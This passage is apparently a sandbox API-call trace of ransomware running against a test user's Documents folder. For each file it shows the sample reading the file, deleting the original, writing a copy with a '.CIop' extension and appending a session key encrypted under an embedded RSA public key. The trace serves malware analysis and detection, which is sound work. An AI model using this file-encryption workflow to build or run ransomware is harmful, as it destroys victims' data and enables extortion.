NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" | out: lpString1="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----") returned="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" [0089.001] lstrcpyW (in: lpString1=0x314f368, lpString2="Database1.accdb" | out: lpString1="Database1.accdb") returned="Database1.accdb" [0089.001] lstrcpyW (in: lpString1=0x314f768, lpString2="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\" | out: lpString1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\") returned="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\" [0089.002] SetErrorMode (uMode=0x1) returned 0x1 [0089.002] wsprintfW (in: param_1=0x314eb68, param_2="%s%s" | out: param_1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\Database1.accdb") returned 51 [0089.002] SetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\Database1.accdb", dwFileAttributes=0x20) returned 1 [0089.002] StrStrW (lpFirst="Database1.accdb", lpSrch=".CIop") returned 0x0 [0089.002] wsprintfW (in: param_1=0x314e758, param_2="%s%s.CIop" | out: param_1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\Database1.accdb.CIop") returned 56 [0089.002] CreateFileW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\Database1.accdb" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\database1.accdb"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3a8 [0089.004] ReadFile (in: hFile=0x3a8, lpBuffer=0x6155c0, nNumberOfBytesToRead=0x57000, lpNumberOfBytesRead=0x314e5e8, lpOverlapped=0x0 | out: lpBuffer=0x6155c0*, lpNumberOfBytesRead=0x314e5e8*=0x57000, lpOverlapped=0x0) returned 1 [0089.006] CloseHandle (hObject=0x3a8) returned 1 [0089.006] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\Database1.accdb" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\database1.accdb")) returned 1 [0089.010] VirtualAlloc (lpAddress=0x0, dwSize=0x75, flAllocationType=0x3000, flProtect=0x4) returned 0x2dd0000 [0089.010] VirtualAlloc (lpAddress=0x0, dwSize=0x12c, flAllocationType=0x3000, flProtect=0x4) returned 0x2de0000 [0089.010] SetErrorMode (uMode=0x1) returned 0x1 [0089.010] CryptAcquireContextW (in: phProv=0x314e5b8, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0x0 | out: phProv=0x314e5b8*=0x5ec450) returned 1 [0089.012] CryptGenKey (in: hProv=0x5ec450, Algid=0x1, dwFlags=0x4000, phKey=0x314e5bc | out: phKey=0x314e5bc*=0x5d5f08) returned 1 [0089.050] CryptExportKey (in: hKey=0x5d5f08, hExpKey=0x0, dwBlobType=0x6, dwFlags=0x0, pbData=0x0, pdwDataLen=0x314e5ec | out: pbData=0x0*, pdwDataLen=0x314e5ec*=0x94) returned 1 [0089.050] CryptExportKey (in: hKey=0x5d5f08, hExpKey=0x0, dwBlobType=0x6, dwFlags=0x0, pbData=0x2de0000, pdwDataLen=0x314e5ec | out: pbData=0x2de0000*, pdwDataLen=0x314e5ec*=0x94) returned 1 [0089.050] CryptDestroyKey (hKey=0x5d5f08) returned 1 [0089.050] CryptReleaseContext (hProv=0x5ec450, dwFlags=0x0) returned 1 [0089.051] CreateFileW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\Database1.accdb.CIop" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\database1.accdb.ciop"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3a8 [0089.051] WriteFile (in: hFile=0x3a8, lpBuffer=0x6155c0*, nNumberOfBytesToWrite=0x57000, lpNumberOfBytesWritten=0x314e5d8, lpOverlapped=0x0 | out: lpBuffer=0x6155c0*, lpNumberOfBytesWritten=0x314e5d8*=0x57000, lpOverlapped=0x0) returned 1 [0089.056] SetFilePointer (in: hFile=0x3a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x57000 [0089.056] WriteFile (in: hFile=0x3a8, lpBuffer=0x414c2c*, nNumberOfBytesToWrite=0x7, lpNumberOfBytesWritten=0x314e5d8, lpOverlapped=0x0 | out: lpBuffer=0x414c2c*, lpNumberOfBytesWritten=0x314e5d8*=0x7, lpOverlapped=0x0) returned 1 [0089.056] SetFilePointer (in: hFile=0x3a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x57007 [0089.056] SetErrorMode (uMode=0x1) returned 0x1 [0089.056] lstrlenA (lpString="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----") returned 271 [0089.056] CryptStringToBinaryA (in: pszString="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----", cchString=0x0, dwFlags=0x0, pbBinary=0x314d5b8, pcbBinary=0x314d5ac, pdwSkip=0x0, pdwFlags=0x0 | out: pbBinary=0x314d5b8, pcbBinary=0x314d5ac, pdwSkip=0x0, pdwFlags=0x0) returned 1 [0089.056] CryptDecodeObjectEx (in: dwCertEncodingType=0x1, lpszStructType=0x8, pbEncoded=0x314d5b8, cbEncoded=0xa2, dwFlags=0x8000, pDecodePara=0x0, pvStructInfo=0x314d5a0, pcbStructInfo=0x314d598 | out: pvStructInfo=0x314d5a0, pcbStructInfo=0x314d598) returned 1 [0089.056] CryptAcquireContextW (in: phProv=0x314d5a8, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314d5a8*=0x5ec450) returned 1 [0089.056] CryptImportPublicKeyInfoEx (in: hCryptProv=0x5ec450, dwCertEncodingType=0x1, pInfo=0x5e6a98, aiKeyAlg=0x0, dwFlags=0x0, pvAuxInfo=0x0, phKey=0x314d5b0 | out: phKey=0x314d5b0*=0x5d5e08) returned 1 [0089.056] CryptEncrypt (in: hKey=0x5d5e08, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x314d5b4*=0x75, dwBufLen=0x75 | out: pbData=0x0*, pdwDataLen=0x314d5b4*=0x80) returned 1 [0089.057] CryptEncrypt (in: hKey=0x5d5e08, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5ec560*, pdwDataLen=0x314d5a4*=0x75, dwBufLen=0x80 | out: pbData=0x5ec560*, pdwDataLen=0x314d5a4*=0x80) returned 1 [0089.057] WriteFile (in: hFile=0x3a8, lpBuffer=0x5ec560*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x314e5d8, lpOverlapped=0x0 | out: lpBuffer=0x5ec560*, lpNumberOfBytesWritten=0x314e5d8*=0x80, lpOverlapped=0x0) returned 1 [0089.057] SetFilePointer (in: hFile=0x74f66590, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0089.057] VirtualFree (lpAddress=0x2dd0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0089.057] VirtualFree (lpAddress=0x2de0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0089.057] CloseHandle (hObject=0x3a8) returned 1 [0089.066] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\Database1.accdb" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\database1.accdb")) returned 0 Thread: id = 43 os_tid = 0xfa0 [0089.091] lstrcpyA (in: lpString1=0x2f0e5f8, lpString2="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" | out: lpString1="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----") returned="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" [0089.091] lstrcpyW (in: lpString1=0x2f0f368, lpString2="FnCzF1A7H gxenH83.pptx" | out: lpString1="FnCzF1A7H gxenH83.pptx") returned="FnCzF1A7H gxenH83.pptx" [0089.091] lstrcpyW (in: lpString1=0x2f0f768, lpString2="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\" | out: lpString1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\") returned="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\" [0089.091] SetErrorMode (uMode=0x1) returned 0x1 [0089.092] wsprintfW (in: param_1=0x2f0eb68, param_2="%s%s" | out: param_1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\FnCzF1A7H gxenH83.pptx") returned 58 [0089.092] SetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\FnCzF1A7H gxenH83.pptx", dwFileAttributes=0x20) returned 1 [0089.092] StrStrW (lpFirst="FnCzF1A7H gxenH83.pptx", lpSrch=".CIop") returned 0x0 [0089.092] wsprintfW (in: param_1=0x2f0e758, param_2="%s%s.CIop" | out: param_1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\FnCzF1A7H gxenH83.pptx.CIop") returned 63 [0089.092] CreateFileW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\FnCzF1A7H gxenH83.pptx" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\fnczf1a7h gxenh83.pptx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3b4 [0089.092] ReadFile (in: hFile=0x3b4, lpBuffer=0x60bf98, nNumberOfBytesToRead=0x3f76, lpNumberOfBytesRead=0x2f0e5e8, lpOverlapped=0x0 | out: lpBuffer=0x60bf98*, lpNumberOfBytesRead=0x2f0e5e8*=0x3f76, lpOverlapped=0x0) returned 1 [0089.093] CloseHandle (hObject=0x3b4) returned 1 [0089.093] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\FnCzF1A7H gxenH83.pptx" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\fnczf1a7h gxenh83.pptx")) returned 1 [0089.094] VirtualAlloc (lpAddress=0x0, dwSize=0x75, flAllocationType=0x3000, flProtect=0x4) returned 0x2f10000 [0089.094] VirtualAlloc (lpAddress=0x0, dwSize=0x12c, flAllocationType=0x3000, flProtect=0x4) returned 0x2f20000 [0089.095] SetErrorMode (uMode=0x1) returned 0x1 [0089.095] CryptAcquireContextW (in: phProv=0x2f0e5b8, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0x0 | out: phProv=0x2f0e5b8*=0x613670) returned 1 [0089.097] CryptGenKey (in: hProv=0x613670, Algid=0x1, dwFlags=0x4000, phKey=0x2f0e5bc | out: phKey=0x2f0e5bc*=0x5d6348) returned 1 [0089.139] CryptExportKey (in: hKey=0x5d6348, hExpKey=0x0, dwBlobType=0x6, dwFlags=0x0, pbData=0x0, pdwDataLen=0x2f0e5ec | out: pbData=0x0*, pdwDataLen=0x2f0e5ec*=0x94) returned 1 [0089.139] CryptExportKey (in: hKey=0x5d6348, hExpKey=0x0, dwBlobType=0x6, dwFlags=0x0, pbData=0x2f20000, pdwDataLen=0x2f0e5ec | out: pbData=0x2f20000*, pdwDataLen=0x2f0e5ec*=0x94) returned 1 [0089.139] CryptDestroyKey (hKey=0x5d6348) returned 1 [0089.139] CryptReleaseContext (hProv=0x613670, dwFlags=0x0) returned 1 [0089.139] CreateFileW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\FnCzF1A7H gxenH83.pptx.CIop" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\fnczf1a7h gxenh83.pptx.ciop"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3b4 [0089.139] WriteFile (in: hFile=0x3b4, lpBuffer=0x60bf98*, nNumberOfBytesToWrite=0x3f76, lpNumberOfBytesWritten=0x2f0e5d8, lpOverlapped=0x0 | out: lpBuffer=0x60bf98*, lpNumberOfBytesWritten=0x2f0e5d8*=0x3f76, lpOverlapped=0x0) returned 1 [0089.140] SetFilePointer (in: hFile=0x3b4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x3f76 [0089.140] WriteFile (in: hFile=0x3b4, lpBuffer=0x414c2c*, nNumberOfBytesToWrite=0x7, lpNumberOfBytesWritten=0x2f0e5d8, lpOverlapped=0x0 | out: lpBuffer=0x414c2c*, lpNumberOfBytesWritten=0x2f0e5d8*=0x7, lpOverlapped=0x0) returned 1 [0089.140] SetFilePointer (in: hFile=0x3b4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x3f7d [0089.140] SetErrorMode (uMode=0x1) returned 0x1 [0089.140] lstrlenA (lpString="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----") returned 271 [0089.140] CryptStringToBinaryA (in: pszString="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----", cchString=0x0, dwFlags=0x0, pbBinary=0x2f0d5b8, pcbBinary=0x2f0d5ac, pdwSkip=0x0, pdwFlags=0x0 | out: pbBinary=0x2f0d5b8, pcbBinary=0x2f0d5ac, pdwSkip=0x0, pdwFlags=0x0) returned 1 [0089.140] CryptDecodeObjectEx (in: dwCertEncodingType=0x1, lpszStructType=0x8, pbEncoded=0x2f0d5b8, cbEncoded=0xa2, dwFlags=0x8000, pDecodePara=0x0, pvStructInfo=0x2f0d5a0, pcbStructInfo=0x2f0d598 | out: pvStructInfo=0x2f0d5a0, pcbStructInfo=0x2f0d598) returned 1 [0089.140] CryptAcquireContextW (in: phProv=0x2f0d5a8, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2f0d5a8*=0x615430) returned 1 [0089.141] CryptImportPublicKeyInfoEx (in: hCryptProv=0x615430, dwCertEncodingType=0x1, pInfo=0x5e6b68, aiKeyAlg=0x0, dwFlags=0x0, pvAuxInfo=0x0, phKey=0x2f0d5b0 | out: phKey=0x2f0d5b0*=0x5d6308) returned 1 [0089.141] CryptEncrypt (in: hKey=0x5d6308, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2f0d5b4*=0x75, dwBufLen=0x75 | out: pbData=0x0*, pdwDataLen=0x2f0d5b4*=0x80) returned 1 [0089.141] CryptEncrypt (in: hKey=0x5d6308, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x615078*, pdwDataLen=0x2f0d5a4*=0x75, dwBufLen=0x80 | out: pbData=0x615078*, pdwDataLen=0x2f0d5a4*=0x80) returned 1 [0089.141] WriteFile (in: hFile=0x3b4, lpBuffer=0x615078*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x2f0e5d8, lpOverlapped=0x0 | out: lpBuffer=0x615078*, lpNumberOfBytesWritten=0x2f0e5d8*=0x80, lpOverlapped=0x0) returned 1 [0089.141] SetFilePointer (in: hFile=0x74f66590, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0089.143] VirtualFree (lpAddress=0x2f10000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0089.143] VirtualFree (lpAddress=0x2f20000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0089.143] CloseHandle (hObject=0x3b4) returned 1 [0089.144] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\FnCzF1A7H gxenH83.pptx" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\fnczf1a7h gxenh83.pptx")) returned 0 Thread: id = 44 os_tid = 0xfa4 [0089.170] lstrcpyA (in: lpString1=0x2f0e5f8, lpString2="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" | out: lpString1="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----") returned="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" [0089.170] lstrcpyW (in: lpString1=0x2f0f368, lpString2="gCLjM xynMaWR.xlsx" | out: lpString1="gCLjM xynMaWR.xlsx") returned="gCLjM xynMaWR.xlsx" [0089.170] lstrcpyW (in: lpString1=0x2f0f768, lpString2="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\" | out: lpString1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\") returned="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\" [0089.170] SetErrorMode (uMode=0x1) returned 0x1 [0089.170] wsprintfW (in: param_1=0x2f0eb68, param_2="%s%s" | out: param_1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\gCLjM xynMaWR.xlsx") returned 54 [0089.170] SetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\gCLjM xynMaWR.xlsx", dwFileAttributes=0x20) returned 1 [0089.171] StrStrW (lpFirst="gCLjM xynMaWR.xlsx", lpSrch=".CIop") returned 0x0 [0089.171] wsprintfW (in: param_1=0x2f0e758, param_2="%s%s.CIop" | out: param_1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\gCLjM xynMaWR.xlsx.CIop") returned 59 [0089.171] CreateFileW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\gCLjM xynMaWR.xlsx" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\gcljm xynmawr.xlsx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3b8 [0089.172] ReadFile (in: hFile=0x3b8, lpBuffer=0x6155c0, nNumberOfBytesToRead=0x14fd9, lpNumberOfBytesRead=0x2f0e5e8, lpOverlapped=0x0 | out: lpBuffer=0x6155c0*, lpNumberOfBytesRead=0x2f0e5e8*=0x14fd9, lpOverlapped=0x0) returned 1 [0089.173] CloseHandle (hObject=0x3b8) returned 1 [0089.173] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\gCLjM xynMaWR.xlsx" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\gcljm xynmawr.xlsx")) returned 1 [0089.174] VirtualAlloc (lpAddress=0x0, dwSize=0x75, flAllocationType=0x3000, flProtect=0x4) returned 0x2f10000 [0089.174] VirtualAlloc (lpAddress=0x0, dwSize=0x12c, flAllocationType=0x3000, flProtect=0x4) returned 0x2f20000 [0089.175] SetErrorMode (uMode=0x1) returned 0x1 [0089.175] CryptAcquireContextW (in: phProv=0x2f0e5b8, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0x0 | out: phProv=0x2f0e5b8*=0x615100) returned 1 [0089.177] CryptGenKey (in: hProv=0x615100, Algid=0x1, dwFlags=0x4000, phKey=0x2f0e5bc | out: phKey=0x2f0e5bc*=0x5d6108) returned 1 [0089.230] CryptExportKey (in: hKey=0x5d6108, hExpKey=0x0, dwBlobType=0x6, dwFlags=0x0, pbData=0x0, pdwDataLen=0x2f0e5ec | out: pbData=0x0*, pdwDataLen=0x2f0e5ec*=0x94) returned 1 [0089.230] CryptExportKey (in: hKey=0x5d6108, hExpKey=0x0, dwBlobType=0x6, dwFlags=0x0, pbData=0x2f20000, pdwDataLen=0x2f0e5ec | out: pbData=0x2f20000*, pdwDataLen=0x2f0e5ec*=0x94) returned 1 [0089.230] CryptDestroyKey (hKey=0x5d6108) returned 1 [0089.230] CryptReleaseContext (hProv=0x615100, dwFlags=0x0) returned 1 [0089.230] CreateFileW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\gCLjM xynMaWR.xlsx.CIop" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\gcljm xynmawr.xlsx.ciop"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3c0 [0089.230] WriteFile (in: hFile=0x3c0, lpBuffer=0x6155c0*, nNumberOfBytesToWrite=0x14fd9, lpNumberOfBytesWritten=0x2f0e5d8, lpOverlapped=0x0 | out: lpBuffer=0x6155c0*, lpNumberOfBytesWritten=0x2f0e5d8*=0x14fd9, lpOverlapped=0x0) returned 1 [0089.232] SetFilePointer (in: hFile=0x3c0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x14fd9 [0089.233] WriteFile (in: hFile=0x3c0, lpBuffer=0x414c2c*, nNumberOfBytesToWrite=0x7, lpNumberOfBytesWritten=0x2f0e5d8, lpOverlapped=0x0 | out: lpBuffer=0x414c2c*, lpNumberOfBytesWritten=0x2f0e5d8*=0x7, lpOverlapped=0x0) returned 1 [0089.233] SetFilePointer (in: hFile=0x3c0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x14fe0 [0089.233] SetErrorMode (uMode=0x1) returned 0x1 [0089.233] lstrlenA (lpString="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----") returned 271 [0089.233] CryptStringToBinaryA (in: pszString="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----", cchString=0x0, dwFlags=0x0, pbBinary=0x2f0d5b8, pcbBinary=0x2f0d5ac, pdwSkip=0x0, pdwFlags=0x0 | out: pbBinary=0x2f0d5b8, pcbBinary=0x2f0d5ac, pdwSkip=0x0, pdwFlags=0x0) returned 1 [0089.233] CryptDecodeObjectEx (in: dwCertEncodingType=0x1, lpszStructType=0x8, pbEncoded=0x2f0d5b8, cbEncoded=0xa2, dwFlags=0x8000, pDecodePara=0x0, pvStructInfo=0x2f0d5a0, pcbStructInfo=0x2f0d598 | out: pvStructInfo=0x2f0d5a0, pcbStructInfo=0x2f0d598) returned 1 [0089.233] CryptAcquireContextW (in: phProv=0x2f0d5a8, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2f0d5a8*=0x6153a8) returned 1 [0089.235] CryptImportPublicKeyInfoEx (in: hCryptProv=0x6153a8, dwCertEncodingType=0x1, pInfo=0x5e6c38, aiKeyAlg=0x0, dwFlags=0x0, pvAuxInfo=0x0, phKey=0x2f0d5b0 | out: phKey=0x2f0d5b0*=0x5d6108) returned 1 [0089.235] CryptEncrypt (in: hKey=0x5d6108, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2f0d5b4*=0x75, dwBufLen=0x75 | out: pbData=0x0*, pdwDataLen=0x2f0d5b4*=0x80) returned 1 [0089.235] CryptEncrypt (in: hKey=0x5d6108, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x6154b8*, pdwDataLen=0x2f0d5a4*=0x75, dwBufLen=0x80 | out: pbData=0x6154b8*, pdwDataLen=0x2f0d5a4*=0x80) returned 1 [0089.235] WriteFile (in: hFile=0x3c0, lpBuffer=0x6154b8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x2f0e5d8, lpOverlapped=0x0 | out: lpBuffer=0x6154b8*, lpNumberOfBytesWritten=0x2f0e5d8*=0x80, lpOverlapped=0x0) returned 